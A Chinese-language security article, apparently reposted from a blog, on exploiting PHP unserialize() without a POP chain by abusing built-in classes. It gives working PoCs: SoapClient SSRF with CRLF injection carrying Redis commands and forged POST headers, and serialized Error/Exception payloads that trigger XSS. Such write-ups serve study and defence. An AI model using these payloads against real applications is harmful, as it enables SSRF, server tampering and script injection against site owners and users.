正文
文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?
N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化。
基础知识
首先还是来回顾一下序列化中的魔术方法,下面也将以此进行分类来进行研究。
当对象被创建的时候调用:__construct
当对象被销毁的时候调用:__destruct
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString
序列化对象之前就调用此方法(其返回需要是一个数组):__sleep
反序列化恢复对象之前就调用此方法:__wakeup 当调用对象中不存在的方法会自动调用此方法:__call
看一下当前php本身内置类有:
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候。
当然这也和PHP版本也有一些关系,寻找的几个类中,发现在php5.3以前都是没有如此的限制。
__call
SoapClient
这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。
SSRF
$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();
但是它仅限于http/https协议,用处不是很大。
但是这里http头部还存在crlf漏洞,可以再去drops回顾一下如何通过http来hack redis,Trying to hack Redis via HTTP requests
$poc = "CONFIG SET dir /root/";
$target = "http://example.com:5555/";
$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); //Test $c = unserialize($aaa); $c->notexists();
对于如何发送POST的数据包,这里面还有一个坑,就是content-type的设置,当是可以看到上面的数据包,user_agent的头部是在content-type的下面,所以我们可以通过SoapClient来设置user_agent,再使用crlf将content-type给往下挤。
来自wupco师傅的poc:
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa);
__toString
Error
适用于php7版本
XSS
开启报错的情况下:
$a = new Error("");
$b = serialize($a);
echo urlencode($b);
//Test
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'); $c = unserialize($t); echo $c;
Exception
适用于php5、7版本
XSS
开启报错的情况下:
$a = new Exception("");
$b = serialize($a);
echo urlencode($b);
//Test
$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D'); echo unserialize($c);
实例化任意类
可调用任意类的时候找__construct的时候一些可用的类:
案例:pornhub某漏洞
可获取目录
DirectoryIterator
XXE
SimpleXMLElement
创建空白文件
SQLite3
know it then do it
转载自:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html